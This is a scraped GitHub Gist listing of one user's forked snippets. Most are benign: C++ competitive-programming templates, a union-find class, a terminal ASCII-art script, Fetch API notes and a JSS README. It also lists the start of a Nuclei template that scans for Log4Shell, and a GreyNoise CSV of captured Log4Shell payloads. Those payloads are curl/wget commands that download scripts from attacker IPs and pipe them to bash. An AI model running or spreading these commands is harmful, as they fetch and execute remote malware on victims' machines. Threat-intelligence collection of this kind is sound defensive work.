Skip to content

Instantly share code, notes, and snippets.

View 0x254's full-sized avatar
🌴
On vacation

x254 0x254

🌴
On vacation
View GitHub Profile
@0x254
0x254 / CVE-2021-44228.nuclei.yaml
Created January 27, 2022 13:37 — forked from hazcod/CVE-2021-44228.nuclei.yaml
Nuclei template to scan for log4shell (CVE-2021-44228).
id: CVE-2021-44228
info:
name: Log4J RCE
author: iNvist / hazcod
severity: critical
description: CVE-2021-44228
requests:
- raw:
@0x254
0x254 / CVE-2021-44228.nuclei.yaml
Created January 27, 2022 13:37 — forked from hazcod/CVE-2021-44228.nuclei.yaml
Nuclei template to scan for log4shell (CVE-2021-44228).
id: CVE-2021-44228
info:
name: Log4J RCE
author: iNvist / hazcod
severity: critical
description: CVE-2021-44228
requests:
- raw:
@0x254
0x254 / base64_payloads.csv
Created January 26, 2022 13:46 — forked from nathanqthai/base64_payloads.csv
GreyNoise Log4Shell Payloads
b64decoded hits
(curl -s 45.155.205.233:5874/<IP_ADDRESS>||wget -q -O- 45.155.205.233:5874/<IP_ADDRESS>)|bash 2056
(curl -s 80.71.158.12/lh.sh||wget -q -O- 80.71.158.12/lh.sh)|bash 162
(curl -s 80.71.158.44/lh.sh||wget -q -O- 80.71.158.44/lh.sh)|bash 2
@0x254
0x254 / fetch-api-examples.md
Created September 9, 2018 09:55 — forked from justsml/fetch-api-examples.md
JavaScript Fetch API Examples
@0x254
0x254 / UVA 10608 - Friends solution c++.cpp
Created August 26, 2018 10:06 — forked from quickgrid/UVA 10608 - Friends solution c++.cpp
UVA 10608 - Friends solution c++ Disjoint-Set Forest Union by Rank and Path Compression using Structure.
/**
* Author: Asif Ahmed
* Site: https://quickgrid.wordpress.com
* Problem: UVA 10608 - Friends
* Technique: Disjoint-Set Forest Union by Rank
* and Path Compression using Structure.
*/
#include<stdio.h>
#include<string.h>
@0x254
0x254 / c++Template.cpp
Created August 25, 2018 16:16 — forked from kodekracker/c++Template.cpp
Basic C++ Template for Competitive Programming
/*
* Note: This template uses some c++11 functions , so you have to compile it with c++11 flag.
* Example:- $ g++ -std=c++11 c++Template.cpp
*
* Author : Akshay Pratap Singh
* Handle: code_crack_01
*
*/
/******** All Required Header Files ********/
@0x254
0x254 / akshay.sh
Created August 25, 2018 16:07 — forked from kodekracker/akshay.sh
An ASCII art for terminal
#!/usr/bin/bash
green='\033[0;32m'
stdcol='\033[0m' # No Color
echo "\n ${green}================================================================="
echo " ________ ___ __ ________ ___ ___ ________ ___ ___ "
echo "|\ __ \|\ \|\ \ |\ ____\|\ \|\ \|\ __ \ |\ \ / /| "
echo "\ \ \|\ \ \ \/ /|\ \ \___|\ \ \\\ \ \ \|\ \ \ \ \/ / / "
echo " \ \ __ \ \ ___ \ \_____ \ \ __ \ \ __ \ \ \ / / "
echo " \ \ \ \ \ \ \\ \ \|____|\ \ \ \ \ \ \ \ \ \ \/ / / "
echo " \ \__\ \__\ \__\\ \__\____\_\ \ \__\ \__\ \__\ \__\__/ / / "
@0x254
0x254 / UFDS.cpp
Created August 25, 2018 16:06 — forked from kodekracker/UFDS.cpp
C++ class of UFDS(Union-Find Disjoint Sets)
/*
Author : Akshay Pratap Singh
Email-Id : [email protected]
*/
/******** Union-Find Disjoint Set Implementation *****/
class UFDS {
private:
vector<int> p, rank, setSizes;
int numSets;
@0x254
0x254 / Free O'Reilly Books.md
Created August 25, 2018 14:39 — forked from ellerbrock/Free O'Reilly Books.md
Free O'Reilly Books

Free O'Reilly books and convenient script to just download them.

Thanks /u/FallenAege/ and /u/ShPavel/ from this Reddit post

How to use:

  1. Take the download.sh file and put it into a directory where you want the files to be saved.
  2. cd into the directory and make sure that it has executable permissions (chmod +x download.sh should do it)
  3. Run ./download.sh and wee there it goes. Also if you do not want all the files, just simply comment the ones you do not want.
@0x254
0x254 / README.md
Created June 30, 2018 03:24 — forked from potch/README.md
JSON Style Sheets. Because why not.

JSS: JSON Style Sheets

“Wait, what?”

Sometimes you want to include some CSS in a JavaScript file. Maybe it's a standalone widget. A big ol' string is a pain to manage, and won't minify so pretty. Especially if you want your CSS safely namespaced. For example:

.widget {
    background: #abc123;
    width: 100px;

/* ... */